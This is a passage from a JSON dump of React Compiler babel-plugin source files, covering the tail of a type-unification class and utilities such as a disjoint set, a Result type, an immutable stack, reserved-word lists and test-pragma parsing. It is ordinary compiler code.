this.env.config.enableTreatRefLikeIdentifiersAsRefs &&\n        isRefLikeName(tB)\n      ) {\n        this.unify(tB.objectType, {\n          kind: 'Object',\n          shapeId: BuiltInUseRefId,\n        });\n        this.unify(tA, {\n          kind: 'Object',\n          shapeId: BuiltInRefValueId,\n        });\n        return;\n      }\n      const objectType = this.get(tB.objectType);\n      const propertyType =\n        tB.propertyName.kind === 'literal'\n          ? this.env.getPropertyType(objectType, tB.propertyName.value)\n          : this.env.getFallthroughPropertyType(\n              objectType,\n              tB.propertyName.value,\n            );\n      if (propertyType !== null) {\n        this.unify(tA, propertyType);\n      }\n      /*\n       * We do not error if tB is not a known object or function (even if it\n       * is a primitive), since JS implicit conversion to objects\n       */\n      return;\n    }\n\n    if (typeEquals(tA, tB)) {\n      return;\n    }\n\n    if (tA.kind === 'Type') {\n      this.bindVariableTo(tA, tB);\n      return;\n    }\n\n    if (tB.kind === 'Type') {\n      this.bindVariableTo(tB, tA);\n      return;\n    }\n\n    if (\n      tB.kind === 'Function' &&\n      tA.kind === 'Function' &&\n      tA.isConstructor === tB.isConstructor\n    ) {\n      this.unify(tA.return, tB.return);\n      return;\n    }\n  }\n\n  bindVariableTo(v: TypeVar, type: Type): void {\n    if (type.kind === 'Poly') {\n      //  Ignore PolyType, since we don't support polymorphic types correctly.\n      return;\n    }\n\n    if (this.substitutions.has(v.id)) {\n      this.unify(this.substitutions.get(v.id)!, type);\n      return;\n    }\n\n    if (type.kind === 'Type' && this.substitutions.has(type.id)) {\n      this.unify(v, this.substitutions.get(type.id)!);\n      return;\n    }\n\n    if (type.kind === 'Phi') {\n      CompilerError.invariant(type.operands.length > 0, {\n        reason: 'there should be at least one operand',\n        loc: GeneratedSource,\n      });\n\n      let candidateType: Type | null = null;\n      for (const operand of type.operands) {\n        const resolved = this.get(operand);\n        if (candidateType === null) {\n          candidateType = resolved;\n        } else if (!typeEquals(resolved, candidateType)) {\n          const unionType = tryUnionTypes(resolved, candidateType);\n          if (unionType === null) {\n            candidateType = null;\n            break;\n          } else {\n            candidateType = unionType;\n          }\n        } // else same type, continue\n      }\n\n      if (candidateType !== null) {\n        this.unify(v, candidateType);\n        return;\n      }\n    }\n\n    if (this.occursCheck(v, type)) {\n      const resolvedType = this.tryResolveType(v, type);\n      if (resolvedType !== null) {\n        this.substitutions.set(v.id, resolvedType);\n        return;\n      }\n      throw new Error('cycle detected');\n    }\n\n    this.substitutions.set(v.id, type);\n  }\n\n  tryResolveType(v: TypeVar, type: Type): Type | null {\n    switch (type.kind) {\n      case 'Phi': {\n        /**\n         * Resolve the type of the phi by recursively removing `v` as an operand.\n         * For example we can end up with types like this:\n         *\n         * v = Phi [\n         *   T1\n         *   T2\n         *   Phi [\n         *     T3\n         *     Phi [\n         *       T4\n         *       v <-- cycle!\n         *     ]\n         *   ]\n         * ]\n         *\n         * By recursively removing `v`, we end up with:\n         *\n         * v = Phi [\n         *   T1\n         *   T2\n         *   Phi [\n         *     T3\n         *     Phi [\n         *       T4\n         *     ]\n         *   ]\n         * ]\n         *\n         * Which avoids the cycle\n         */\n        const operands = [];\n        for (const operand of type.operands) {\n          if (operand.kind === 'Type' && operand.id === v.id) {\n            continue;\n          }\n          const resolved = this.tryResolveType(v, operand);\n          if (resolved === null) {\n            return null;\n          }\n          operands.push(resolved);\n        }\n        return {kind: 'Phi', operands};\n      }\n      case 'Type': {\n        const substitution = this.get(type);\n        if (substitution !== type) {\n          const resolved = this.tryResolveType(v, substitution);\n          if (resolved !== null) {\n            this.substitutions.set(type.id, resolved);\n          }\n          return resolved;\n        }\n        return type;\n      }\n      case 'Property': {\n        const objectType = this.tryResolveType(v, this.get(type.objectType));\n        if (objectType === null) {\n          return null;\n        }\n        return {\n          kind: 'Property',\n          objectName: type.objectName,\n          objectType,\n          propertyName: type.propertyName,\n        };\n      }\n      case 'Function': {\n        const returnType = this.tryResolveType(v, this.get(type.return));\n        if (returnType === null) {\n          return null;\n        }\n        return {\n          kind: 'Function',\n          return: returnType,\n          shapeId: type.shapeId,\n          isConstructor: type.isConstructor,\n        };\n      }\n      case 'ObjectMethod':\n      case 'Object':\n      case 'Primitive':\n      case 'Poly': {\n        return type;\n      }\n      default: {\n        assertExhaustive(type, `Unexpected type kind '${(type as any).kind}'`);\n      }\n    }\n  }\n\n  occursCheck(v: TypeVar, type: Type): boolean {\n    if (typeEquals(v, type)) return true;\n\n    if (type.kind === 'Type' && this.substitutions.has(type.id)) {\n      return this.occursCheck(v, this.substitutions.get(type.id)!);\n    }\n\n    if (type.kind === 'Phi') {\n      return type.operands.some(o => this.occursCheck(v, o));\n    }\n\n    if (type.kind === 'Function') {\n      return this.occursCheck(v, type.return);\n    }\n\n    return false;\n  }\n\n  get(type: Type): Type {\n    if (type.kind === 'Type') {\n      if (this.substitutions.has(type.id)) {\n        return this.get(this.substitutions.get(type.id)!);\n      }\n    }\n\n    if (type.kind === 'Phi') {\n      return {kind: 'Phi', operands: type.operands.map(o => this.get(o))};\n    }\n\n    if (type.kind === 'Function') {\n      return {\n        kind: 'Function',\n        isConstructor: type.isConstructor,\n        shapeId: type.shapeId,\n        return: this.get(type.return),\n      };\n    }\n\n    return type;\n  }\n}\n\nconst RefLikeNameRE = /^(?:[a-zA-Z$_][a-zA-Z$_0-9]*)Ref$|^ref$/;\n\nfunction isRefLikeName(t: PropType): boolean {\n  return (\n    t.propertyName.kind === 'literal' &&\n    RefLikeNameRE.test(t.objectName) &&\n    t.propertyName.value === 'current'\n  );\n}\n\nfunction tryUnionTypes(ty1: Type, ty2: Type): Type | null {\n  let readonlyType: Type;\n  let otherType: Type;\n  if (ty1.kind === 'Object' && ty1.shapeId === BuiltInMixedReadonlyId) {\n    readonlyType = ty1;\n    otherType = ty2;\n  } else if (ty2.kind === 'Object' && ty2.shapeId === BuiltInMixedReadonlyId) {\n    readonlyType = ty2;\n    otherType = ty1;\n  } else {\n    return null;\n  }\n  if (otherType.kind === 'Primitive') {\n    /**\n     * Union(Primitive | MixedReadonly) = MixedReadonly\n     *\n     * For example, `data ?? null` could return `data`, the fact that RHS\n     * is a primitive doesn't guarantee the result is a primitive.\n     */\n    return readonlyType;\n  } else if (\n    otherType.kind === 'Object' &&\n    otherType.shapeId === BuiltInArrayId\n  ) {\n    /**\n     * Union(Array | MixedReadonly) = Array\n     *\n     * In practice this pattern means the result is always an array. Given\n     * that this behavior requires opting-in to the mixedreadonly type\n     * (via moduleTypeProvider) this seems like a reasonable heuristic.\n     */\n    return otherType;\n  }\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/TypeInference/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {inferTypes} from './InferTypes';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/ComponentDeclaration.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\n\nexport type ComponentDeclaration = t.FunctionDeclaration & {\n  __componentDeclaration: boolean;\n};\n\nexport function isComponentDeclaration(\n  node: t.FunctionDeclaration,\n): node is ComponentDeclaration {\n  return Object.prototype.hasOwnProperty.call(node, '__componentDeclaration');\n}\n\nexport function parseComponentDeclaration(\n  node: t.FunctionDeclaration,\n): ComponentDeclaration | null {\n  return isComponentDeclaration(node) ? node : null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/DisjointSet.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {GeneratedSource} from '../HIR/HIR';\n\n// Represents items which form disjoint sets.\nexport default class DisjointSet<T> {\n  #entries: Map<T, T> = new Map();\n\n  /*\n   * Updates the graph to reflect that the given @param items form a set,\n   * linking any previous sets that the items were part of into a single\n   * set.\n   */\n  union(items: Array<T>): void {\n    const first = items.shift();\n    CompilerError.invariant(first != null, {\n      reason: 'Expected set to be non-empty',\n      loc: GeneratedSource,\n    });\n    /*\n     * determine an arbitrary \"root\" for this set: if the first\n     * item already has a root then use that, otherwise the first item\n     * will be the new root.\n     */\n    let root = this.find(first);\n    if (root == null) {\n      root = first;\n      this.#entries.set(first, first);\n    }\n    // update remaining items (which may already be part of other sets)\n    for (const item of items) {\n      let itemParent = this.#entries.get(item);\n      if (itemParent == null) {\n        // new item, no existing set to update\n        this.#entries.set(item, root);\n        continue;\n      } else if (itemParent === root) {\n        continue;\n      } else {\n        let current = item;\n        while (itemParent !== root) {\n          this.#entries.set(current, root);\n          current = itemParent;\n          itemParent = this.#entries.get(current)!;\n        }\n      }\n    }\n  }\n\n  /*\n   * Finds the set to which the given @param item is associated, if @param item\n   * is present in this set. If item is not present, returns null.\n   *\n   * Note that the returned value may be any item in the set to which the input\n   * belongs: the only guarantee is that all items in a set will return the same\n   * value in between calls to `union()`.\n   */\n  find(item: T): T | null {\n    if (!this.#entries.has(item)) {\n      return null;\n    }\n    const parent = this.#entries.get(item)!;\n    if (parent === item) {\n      // this is the root element\n      return item;\n    }\n    // Recurse to find the root (caching all elements along the path to the root)\n    const root = this.find(parent)!;\n    // Cache the element itself\n    this.#entries.set(item, root);\n    return root;\n  }\n\n  has(item: T): boolean {\n    return this.#entries.has(item);\n  }\n\n  /*\n   * Forces the set into canonical form, ie with all items pointing directly to\n   * their root, and returns a Map representing the mapping of items to their roots.\n   */\n  canonicalize(): Map<T, T> {\n    const entries = new Map<T, T>();\n    for (const item of this.#entries.keys()) {\n      const root = this.find(item)!;\n      entries.set(item, root);\n    }\n    return entries;\n  }\n\n  /*\n   * Calls the provided callback once for each item in the disjoint set,\n   * passing the @param item and the @param group to which it belongs.\n   */\n  forEach(fn: (item: T, group: T) => void): void {\n    for (const item of this.#entries.keys()) {\n      const group = this.find(item)!;\n      fn(item, group);\n    }\n  }\n\n  buildSets(): Array<Set<T>> {\n    const ids: Map<T, number> = new Map();\n    const sets: Map<number, Set<T>> = new Map();\n\n    this.forEach((identifier, groupIdentifier) => {\n      let id = ids.get(groupIdentifier);\n      if (id == null) {\n        id = ids.size;\n        ids.set(groupIdentifier, id);\n      }\n\n      let set = sets.get(id);\n      if (set === undefined) {\n        set = new Set();\n        sets.set(id, set);\n      }\n      set.add(identifier);\n    });\n\n    return [...sets.values()];\n  }\n\n  get size(): number {\n    return this.#entries.size;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/HookDeclaration.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\n\nexport type HookDeclaration = t.FunctionDeclaration & {\n  __hookDeclaration: boolean;\n};\n\nexport function isHookDeclaration(\n  node: t.FunctionDeclaration,\n): node is HookDeclaration {\n  return Object.prototype.hasOwnProperty.call(node, '__hookDeclaration');\n}\n\nexport function parseHookDeclaration(\n  node: t.FunctionDeclaration,\n): HookDeclaration | null {\n  return isHookDeclaration(node) ? node : null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/Keyword.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * https://tc39.es/ecma262/multipage/ecmascript-language-lexical-grammar.html#sec-keywords-and-reserved-words\n */\n\n/**\n * Note: `await` and `yield` are contextually allowed as identifiers.\n *   await: reserved inside async functions and modules\n *   yield: reserved inside generator functions\n *\n * Note: `async` is not reserved.\n */\nconst RESERVED_WORDS = new Set([\n  'break',\n  'case',\n  'catch',\n  'class',\n  'const',\n  'continue',\n  'debugger',\n  'default',\n  'delete',\n  'do',\n  'else',\n  'enum',\n  'export',\n  'extends',\n  'false',\n  'finally',\n  'for',\n  'function',\n  'if',\n  'import',\n  'in',\n  'instanceof',\n  'new',\n  'null',\n  'return',\n  'super',\n  'switch',\n  'this',\n  'throw',\n  'true',\n  'try',\n  'typeof',\n  'var',\n  'void',\n  'while',\n  'with',\n]);\n\n/**\n * Reserved when a module has a 'use strict' directive.\n */\nconst STRICT_MODE_RESERVED_WORDS = new Set([\n  'let',\n  'static',\n  'implements',\n  'interface',\n  'package',\n  'private',\n  'protected',\n  'public',\n]);\n/**\n * The names arguments and eval are not keywords, but they are subject to some restrictions in\n * strict mode code.\n */\nconst STRICT_MODE_RESTRICTED_WORDS = new Set(['eval', 'arguments']);\n\n/**\n * Conservative check for whether an identifer name is reserved or not. We assume that code is\n * written with strict mode.\n */\nexport function isReservedWord(identifierName: string): boolean {\n  return (\n    RESERVED_WORDS.has(identifierName) ||\n    STRICT_MODE_RESERVED_WORDS.has(identifierName) ||\n    STRICT_MODE_RESTRICTED_WORDS.has(identifierName)\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/Result.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// Direct translation of Rust's Result type, although some ownership related methods are omitted.\nexport interface Result<T, E> {\n  /*\n   * Maps a `Result<T, E>` to `Result<U, E>` by applying a function to a contained `Ok` value,\n   * leaving an `Err` value untouched.\n   *\n   * This function can be used to compose the results of two functions.\n   */\n  map<U>(fn: (val: T) => U): Result<U, E>;\n  /*\n   * Maps a `Result<T, E>` to `Result<T, F>` by applying a function to a contained `Err` value,\n   * leaving an `Ok` value untouched.\n   *\n   * This function can be used to pass through a successful result while handling an error.\n   */\n  mapErr<F>(fn: (val: E) => F): Result<T, F>;\n  /*\n   * Returns the provided default (if `Err`), or applies a function to the contained value\n   * (if `Ok`).\n   *\n   * Arguments passed to {@link mapOr} are eagerly evaluated; if you are passing the result of a\n   * function call, it is recommended to use {@link mapOrElse}, which is lazily evaluated.\n   */\n  mapOr<U>(fallback: U, fn: (val: T) => U): U;\n  /*\n   * Maps a `Result<T, E>` to `U` by applying fallback function default to a contained `Err` value,\n   * or function `fn` to a contained `Ok` value.\n   *\n   * This function can be used to unpack a successful result while handling an error.\n   */\n  mapOrElse<U>(fallback: () => U, fn: (val: T) => U): U;\n  /*\n   * Calls `fn` if the result is `Ok`, otherwise returns the `Err` value of self.\n   *\n   * This function can be used for control flow based on Result values.\n   */\n  andThen<U>(fn: (val: T) => Result<U, E>): Result<U, E>;\n  /*\n   * Returns res if the result is `Ok`, otherwise returns the `Err` value of self.\n   *\n   * Arguments passed to {@link and} are eagerly evaluated; if you are passing the result of a\n   * function call, it is recommended to use {@link andThen}, which is lazily evaluated.\n   */\n  and<U>(res: Result<U, E>): Result<U, E>;\n  /*\n   * Returns `res` if the result is `Err`, otherwise returns the `Ok` value of self.\n   *\n   * Arguments passed to {@link or} are eagerly evaluated; if you are passing the result of a\n   * function call, it is recommended to use {@link orElse}, which is lazily evaluated.\n   */\n  or(res: Result<T, E>): Result<T, E>;\n  /*\n   * Calls `fn` if the result is `Err`, otherwise returns the `Ok` value of self.\n   *\n   * This function can be used for control flow based on result values.\n   */\n  orElse<F>(fn: (val: E) => Result<T, F>): Result<T, F>;\n  // Returns `true` if the result is `Ok`.\n  isOk(): this is OkImpl<T>;\n  // Returns `true` if the result is `Err`.\n  isErr(): this is ErrImpl<E>;\n  // Returns the contained `Ok` value or throws.\n  expect(msg: string): T;\n  // Returns the contained `Err` value or throws.\n  expectErr(msg: string): E;\n  // Returns the contained `Ok` value.\n  unwrap(): T;\n  /*\n   * Returns the contained `Ok` value or a provided default.\n   *\n   * Arguments passed to {@link unwrapOr} are eagerly evaluated; if you are passing the result of a\n   * function call, it is recommended to use {@link unwrapOrElse}, which is lazily evaluated.\n   */\n  unwrapOr(fallback: T): T;\n  // Returns the contained `Ok` value or computes it from a closure.\n  unwrapOrElse(fallback: (val: E) => T): T;\n  // Returns the contained `Err` value or throws.\n  unwrapErr(): E;\n}\n\nexport function Ok<T>(val: T): OkImpl<T> {\n  return new OkImpl(val);\n}\n\nclass OkImpl<T> implements Result<T, never> {\n  #val: T;\n  constructor(val: T) {\n    this.#val = val;\n  }\n\n  map<U>(fn: (val: T) => U): Result<U, never> {\n    return new OkImpl(fn(this.#val));\n  }\n\n  mapErr<F>(_fn: (val: never) => F): Result<T, F> {\n    return this;\n  }\n\n  mapOr<U>(_fallback: U, fn: (val: T) => U): U {\n    return fn(this.#val);\n  }\n\n  mapOrElse<U>(_fallback: () => U, fn: (val: T) => U): U {\n    return fn(this.#val);\n  }\n\n  andThen<U>(fn: (val: T) => Result<U, never>): Result<U, never> {\n    return fn(this.#val);\n  }\n\n  and<U>(res: Result<U, never>): Result<U, never> {\n    return res;\n  }\n\n  or(_res: Result<T, never>): Result<T, never> {\n    return this;\n  }\n\n  orElse<F>(_fn: (val: never) => Result<T, F>): Result<T, F> {\n    return this;\n  }\n\n  isOk(): this is OkImpl<T> {\n    return true;\n  }\n\n  isErr(): this is ErrImpl<never> {\n    return false;\n  }\n\n  expect(_msg: string): T {\n    return this.#val;\n  }\n\n  expectErr(msg: string): never {\n    throw new Error(`${msg}: ${this.#val}`);\n  }\n\n  unwrap(): T {\n    return this.#val;\n  }\n\n  unwrapOr(_fallback: T): T {\n    return this.#val;\n  }\n\n  unwrapOrElse(_fallback: (val: never) => T): T {\n    return this.#val;\n  }\n\n  unwrapErr(): never {\n    if (this.#val instanceof Error) {\n      throw this.#val;\n    }\n    throw new Error(`Can't unwrap \\`Ok\\` to \\`Err\\`: ${this.#val}`);\n  }\n}\n\nexport function Err<E>(val: E): ErrImpl<E> {\n  return new ErrImpl(val);\n}\n\nclass ErrImpl<E> implements Result<never, E> {\n  #val: E;\n  constructor(val: E) {\n    this.#val = val;\n  }\n\n  map<U>(_fn: (val: never) => U): Result<U, E> {\n    return this;\n  }\n\n  mapErr<F>(fn: (val: E) => F): Result<never, F> {\n    return new ErrImpl(fn(this.#val));\n  }\n\n  mapOr<U>(fallback: U, _fn: (val: never) => U): U {\n    return fallback;\n  }\n\n  mapOrElse<U>(fallback: () => U, _fn: (val: never) => U): U {\n    return fallback();\n  }\n\n  andThen<U>(_fn: (val: never) => Result<U, E>): Result<U, E> {\n    return this;\n  }\n\n  and<U>(_res: Result<U, E>): Result<U, E> {\n    return this;\n  }\n\n  or(res: Result<never, E>): Result<never, E> {\n    return res;\n  }\n\n  orElse<F>(fn: (val: E) => ErrImpl<F>): Result<never, F> {\n    return fn(this.#val);\n  }\n\n  isOk(): this is OkImpl<never> {\n    return false;\n  }\n\n  isErr(): this is ErrImpl<E> {\n    return true;\n  }\n\n  expect(msg: string): never {\n    throw new Error(`${msg}: ${this.#val}`);\n  }\n\n  expectErr(_msg: string): E {\n    return this.#val;\n  }\n\n  unwrap(): never {\n    if (this.#val instanceof Error) {\n      throw this.#val;\n    }\n    throw new Error(`Can't unwrap \\`Err\\` to \\`Ok\\`: ${this.#val}`);\n  }\n\n  unwrapOr<T>(fallback: T): T {\n    return fallback;\n  }\n\n  unwrapOrElse<T>(fallback: (val: E) => T): T {\n    return fallback(this.#val);\n  }\n\n  unwrapErr(): E {\n    return this.#val;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/RuntimeDiagnosticConstants.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// WARNING: ensure this is synced with enum values in react-compiler-runtime:GuardKind\nexport enum GuardKind {\n  PushHookGuard = 0,\n  PopHookGuard = 1,\n  AllowHook = 2,\n  DisallowHook = 3,\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/Stack.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// An immutable stack data structure supporting O(1) push/pop operations.\nexport type Stack<T> = Node<T> | Empty<T>;\n\n// Static assertion that Stack<T> is a StackInterface<T>\nfunction _assertStackInterface<T>(stack: Stack<T>): void {\n  let _: StackInterface<T> = stack;\n}\n\n/*\n * Internal interface to enforce consistent behavior btw Node/Empty variants\n * Note that we export a union rather than the interface so that it is impossible\n * to create additional variants: a Stack should always be exactly a Node or Empty\n * instance.\n */\ninterface StackInterface<T> {\n  push(value: T): StackInterface<T>;\n\n  pop(): StackInterface<T>;\n\n  contains(value: T): boolean;\n  find(fn: (value: T) => boolean): boolean;\n\n  each(fn: (value: T) => void): void;\n\n  get value(): T | null;\n\n  print(fn: (node: T) => string): string;\n}\n\nexport function create<T>(value: T): Stack<T> {\n  return new Node(value);\n}\n\nexport function empty<T>(): Stack<T> {\n  return EMPTY as any;\n}\n\nclass Node<T> implements StackInterface<T> {\n  #value: T;\n  #next: Stack<T>;\n\n  constructor(value: T, next: Stack<T> = EMPTY as any) {\n    this.#value = value;\n    this.#next = next;\n  }\n\n  push(value: T): Node<T> {\n    return new Node(value, this);\n  }\n\n  pop(): Stack<T> {\n    return this.#next;\n  }\n\n  find(fn: (value: T) => boolean): boolean {\n    return fn(this.#value) ? true : this.#next.find(fn);\n  }\n\n  contains(value: T): boolean {\n    return (\n      value === this.#value ||\n      (this.#next !== null && this.#next.contains(value))\n    );\n  }\n  each(fn: (value: T) => void): void {\n    fn(this.#value);\n    this.#next.each(fn);\n  }\n\n  get value(): T {\n    return this.#value;\n  }\n\n  print(fn: (node: T) => string): string {\n    return fn(this.#value) + this.#next.print(fn);\n  }\n}\n\nclass Empty<T> implements StackInterface<T> {\n  push(value: T): Stack<T> {\n    return new Node(value as T, this as Stack<T>);\n  }\n  pop(): Stack<T> {\n    return this;\n  }\n\n  find(_fn: (value: T) => boolean): boolean {\n    return false;\n  }\n  contains(_value: T): boolean {\n    return false;\n  }\n  each(_fn: (value: T) => void): void {\n    return;\n  }\n  get value(): T | null {\n    return null;\n  }\n  print(_: (node: T) => string): string {\n    return '';\n  }\n}\n\nconst EMPTY: Stack<void> = new Empty();\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/TestUtils.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {fromZodError} from 'zod-validation-error/v4';\nimport {CompilerError} from '../CompilerError';\nimport {\n  CompilationMode,\n  defaultOptions,\n  parsePluginOptions,\n  PluginOptions,\n} from '../Entrypoint';\nimport {EnvironmentConfig} from '..';\nimport {GeneratedSource} from '../HIR/HIR';\nimport {\n  EnvironmentConfigSchema,\n  PartialEnvironmentConfig,\n} from '../HIR/Environment';\nimport {Err, Ok, Result} from './Result';\nimport {hasOwnProperty} from './utils';\n\nfunction tryParseTestPragmaValue(val: string): Result<unknown, unknown> {\n  try {\n    let parsedVal: unknown;\n    const stringMatch = /^\"([^\"]*)\"$/.exec(val);\n    if (stringMatch && stringMatch.length > 1) {\n      parsedVal = stringMatch[1];\n    } else {\n      parsedVal = JSON.parse(val);\n    }\n    return Ok(parsedVal);\n  } catch (e) {\n    return Err(e);\n  }\n}\n\nconst testComplexConfigDefaults: PartialEnvironmentConfig = {\n  validateNoCapitalizedCalls: [],\n  enableEmitInstrumentForget: {\n    fn: {\n      source: 'react-compiler-runtime',\n      importSpecifierName: 'useRenderCounter',\n    },\n    gating: {\n      source: 'react-compiler-runtime',\n      importSpecifierName: 'shouldInstrument',\n    },\n    globalGating: 'DEV',\n  },\n  enableEmitHookGuards: {\n    source: 'react-compiler-runtime',\n    importSpecifierName: '$dispatcherGuard',\n  },\n};\n\nfunction* splitPragma(\n  pragma: string,\n): Generator<{key: string; value: string | null}> {\n  for (const entry of pragma.split('@')) {\n    const keyVal = entry.trim();\n    const valIdx = keyVal.indexOf(':');\n    if (valIdx === -1) {\n      yield {key: keyVal.split(' ', 1)[0], value: null};\n    } else {\n      yield {key: keyVal.slice(0, valIdx), value: keyVal.slice(valIdx + 1)};\n    }\n  }\n}\n\n/**\n * For snap test fixtures and playground only.\n */\nfunction parseConfigPragmaEnvironmentForTest(\n  pragma: string,\n  defaultConfig: PartialEnvironmentConfig,\n): EnvironmentConfig {\n  // throw early if the defaults are invalid\n  EnvironmentConfigSchema.parse(defaultConfig);\n\n  const maybeConfig: Partial<Record<keyof EnvironmentConfig, unknown>> =\n    defaultConfig;\n\n  for (const {key, value: val} of splitPragma(pragma)) {\n    if (!hasOwnProperty(EnvironmentConfigSchema.shape, key)) {\n      continue;\n    }\n    const isSet = val == null || val === 'true';\n    if (isSet && key in testComplexConfigDefaults) {\n      maybeConfig[key] = testComplexConfigDefaults[key];\n    } else if (isSet) {\n      maybeConfig[key] = true;\n    } else if (val === 'false') {\n      maybeConfig[key] = false;\n    } else if (val) {\n      const parsedVal = tryParseTestPragmaValue(val).unwrap();\n      if (key === 'customMacros' && typeof parsedVal === 'string') {\n        maybeConfig[key] = [parsedVal.split('.')[0]];\n        continue;\n      }\n      maybeConfig[key] = parsedVal;\n    }\n  }\n  const config = EnvironmentConfigSchema.safeParse(maybeConfig);\n  if (config.success) {\n    /**\n     * Unless explicitly enabled, do not insert HMR handling code\n     * in test fixtures or playground to reduce visual noise.\n     */\n    if (config.data.enableResetCacheOnSourceFileChanges == null) {\n      config.data.enableResetCacheOnSourceFileChanges = false;\n    }\n    return config.data;\n  }\n  CompilerError.invariant(false, {\n    reason: 'Internal error, could not parse config from pragma string',\n    description: `${fromZodError(config.error)}`,\n    loc: GeneratedSource,\n  });\n}\n\nconst testComplexPluginOptionDefaults: PluginOptions = {\n  gating: {\n    source: 'ReactForgetFeatureFlag',\n    importSpecifierName: 'isForgetEnabled_Fixtures',\n  },\n};\nexport function parseConfigPragmaForTests(\n  pragma: string,\n  defaults: {\n    compilationMode: CompilationMode;\n    environment?: PartialEnvironmentConfig;\n  },\n): PluginOptions {\n  const environment = parseConfigPragmaEnvironmentForTest(\n    pragma,\n    defaults.environment ?? {},\n  );\n  const options: Record<keyof PluginOptions, unknown> = {\n    ...defaultOptions,\n    panicThreshold: 'all_errors',\n    compilationMode: defaults.compilationMode,\n    environment,\n  };\n  for (const {key, value: val} of splitPragma(pragma)) {\n    if (!hasOwnProperty(defaultOptions, key)) {\n      continue;\n    }\n    const isSet = val == null || val === 'true';\n    if (isSet && key in testComplexPluginOptionDefaults) {\n      options[key] = testComplexPluginOptionDefaults[key];\n    } else if (isSet) {\n      options[key] = true;\n    } else if (val === 'false') {\n      options[key] = false;\n    } else if (val != null) {\n      const parsedVal = tryParseTestPragmaValue(val).unwrap();\n      if (key === 'target' && parsedVal === 'donotuse_meta_internal') {\n        options[key] = {\n          kind: parsedVal,\n          runtimeModule: 'react',\n        };\n      } else {\n        options[key] = parsedVal;\n      }\n    }\n  }\n  return parsePluginOptions(options);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/todo.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport default function todo(message: string): never {\n  throw new Error('TODO: ' + message);\n}\n\nexport function todoInvariant(\n  condition: unknown,\n  message: string,\n): asserts condition {\n  if (!condition) {\n    throw new Error('TODO: ' + message);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/types.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport type ExtractClassProperties<C> = {\n  [K in keyof C as C[K] extends Function ? never : K]: C[K];\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Utils/utils.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/traverse';\n\n/*\n * Trigger an exhaustivess check in TypeScript and throw at runtime.\n *\n * Example:\n *\n * ```ts\n * enum ErrorCode = {\n *    E0001 = \"E0001\",\n *    E0002 = \"E0002\"\n * }\n *\n * switch (code) {\n *    case ErrorCode.E0001:\n *      // ...\n *    default:\n *      assertExhaustive(code, \"Unhandled error code\");\n * }\n * ```\n */\nexport function assertExhaustive(_: never, errorMsg: string): never {\n  throw new Error(errorMsg);\n}\n\n// Modifies @param array in place, retaining only the items where the predicate returns true.\nexport function retainWhere<T>(\n  array: Array<T>,\n  predicate: (item: T, index: number) => boolean,\n): void {\n  let writeIndex = 0;\n  for (let readIndex = 0; readIndex < array.length; readIndex++) {\n    const item = array[readIndex];\n    if (predicate(item, readIndex) === true) {\n      array[writeIndex++] = item;\n    }\n  }\n  array.length = writeIndex;\n}\n\nexport function retainWhere_Set<T>(\n  items: Set<T>,\n  predicate: (item: T) => boolean,\n): void {\n  for (const item of items) {\n    if (!predicate(item)) {\n      items.delete(item);\n    }\n  }\n}\n\nexport function getOrInsertWith<U, V>(\n  m: Map<U, V>,\n  key: U,\n  makeDefault: () => V,\n): V {\n  if (m.has(key)) {\n    return m.get(key) as V;\n  } else {\n    const defaultValue = makeDefault();\n    m.set(key, defaultValue);\n    return defaultValue;\n  }\n}\n\nexport function getOrInsertDefault<U, V>(\n  m: Map<U, V>,\n  key: U,\n  defaultValue: 